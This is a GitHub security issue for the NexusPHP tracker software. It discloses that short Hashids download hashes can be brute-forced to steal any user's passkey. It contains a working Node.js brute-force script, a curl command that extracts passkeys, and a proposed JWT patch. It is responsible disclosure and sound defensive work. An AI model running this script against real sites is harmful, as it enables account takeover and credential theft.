xiaomlove / nexusphp

A private tracker application base on NexusPHP
https://nexusphp.org
GNU General Public License v2.0
889 stars 180 forks source link

Critical Security Vulnerability: Any User's Passkey Can Be Stolen Due to Guessable Downhash #281

Closed KevinWang15 closed 1 month ago

KevinWang15 commented 1 month ago

CleanShot 2024-09-13 at 18 08 19

I discovered a severe security vulnerability that allows attackers to steal passkeys from any user. This issue is caused by the "downhash" being too short and easily guessable, due to the implementation of the hashids project.

Attack Details

The attack exploits the vulnerability in the download URL structure:

https://[site]/download.php?downhash=[uid]|[short_hash]

The [short_hash] part is extremely short (1-3 characters) and can be brute-forced quickly. Once a valid combination is found, the attacker can extract the user's passkey from the response.

Proof of Concept

I've created a simple Node.js script that demonstrates this attack. It systematically tries all possible combinations for the [short_hash] part until it finds a valid one. Once successful, it can then be used to extract the user's passkey.

const https = require('https');

const siteToAttack = 'https://*****';
const uidToAttack = 1;
const downloadUrlPrefix = `${siteToAttack}/download.php?downhash=${uidToAttack}|`;

const chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';

function* generateCombinations(length, prefix = '') {
    if (length === 0) {
        yield prefix;
        return;
    }

    for (let char of chars) {
        yield* generateCombinations(length - 1, prefix + char);
    }
}

function* allCombinations() {
    for (let length = 1; length <= 3; length++) {
        yield* generateCombinations(length);
    }
}

async function checkCombination(combination) {
    return new Promise((resolve, reject) => {
        const url = downloadUrlPrefix + combination;
        https.get(url, (res) => {
            let data = '';
            res.on('data', (chunk) => data += chunk);
            res.on('end', () => {
                if (!data.includes('fail') && !data.includes('invalid')) {
                    console.log(url);
                    process.exit(0);
                }
                resolve();
            });
        }).on('error', reject);
    });
}

async function processCombinations() {
    const generator = allCombinations();
    const concurrencyLimit = 100;
    const queue = [];

    for (const combination of generator) {
        if (queue.length >= concurrencyLimit) {
            await Promise.race(queue);
            queue.shift();
        }
        const promise = checkCombination(combination);
        queue.push(promise);
    }

    await Promise.all(queue);
}

processCombinations().catch(console.error);

The script was able to find a valid combination in seconds:

https://*****/download.php?downhash=1|0v

Using this URL, I was able to extract a user's passkey:

$ curl --silent https://*****/download.php\?downhash\=1\|0v -o - | ggrep -ao -P '(\/announce\.php\?passkey=[a-zA-Z0-9]+)'
/announce.php?passkey=1d14fda53*****

Impact

This vulnerability has severe consequences:

  1. Any user's passkey can be stolen, even the admin's (in this example uidToAttack = 1 means the root admin).
  2. Attackers can impersonate users, affecting ratio stats and account standing.

Recommended Fix

  1. Discontinue the use of hashids for this security-critical task. Hashids is not designed for cryptographic security and should not be used for protecting sensitive information.

  2. Implement a secure digital signature method instead. Some recommended approaches include:

    • HMAC (Hash-based Message Authentication Code) with a strong cryptographic hash function like SHA-256.
    • JWT (JSON Web Tokens) with appropriate algorithms (e.g., HS256 or RS256).
  3. Ensure the new method produces signatures that are sufficiently long (at least 32 bytes) to prevent brute-force attacks.

KevinWang15 commented 1 month ago

This could be a viable fix:

Subject: [PATCH] feat: use JWT for downloadhash
---
Index: app/Repositories/TorrentRepository.php
IDEA additional info:
Subsystem: com.intellij.openapi.diff.impl.patch.CharsetEP
<+>UTF-8
===================================================================
diff --git a/app/Repositories/TorrentRepository.php b/app/Repositories/TorrentRepository.php
--- a/app/Repositories/TorrentRepository.php    (revision 8bcbf407edcb4d5d3a1efa8bb7482297aa61721e)
+++ b/app/Repositories/TorrentRepository.php    (revision 0ea18fd247db3122f6ae1825ba047b6a868c320c)
@@ -36,6 +36,8 @@
 use Nexus\Database\NexusDB;
 use Nexus\Imdb\Imdb;
 use Rhilip\Bencode\Bencode;
+use Firebase\JWT\JWT;
+use Firebase\JWT\Key;

 class TorrentRepository extends BaseRepository
 {
@@ -334,13 +336,22 @@
     public function encryptDownHash($id, $user): string
     {
         $key = $this->getEncryptDownHashKey($user);
-        return (new Hashids($key))->encode($id);
+        $payload = [
+            'id' => $id,
+            'exp' => time() + 3600
+        ];
+        return JWT::encode($payload, $key, 'HS256');
     }

     public function decryptDownHash($downHash, $user)
     {
         $key = $this->getEncryptDownHashKey($user);
-        return (new Hashids($key))->decode($downHash);
+        try {
+            $decoded = JWT::decode($downHash, new Key($key, 'HS256'));
+            return [$decoded->id];
+        } catch (\Exception $e) {
+            throw new \InvalidArgumentException("Invalid down hash: " . $e->getMessage());
+        }
     }

     private function getEncryptDownHashKey($user)
xiaomlove commented 1 month ago

Thanks for your help.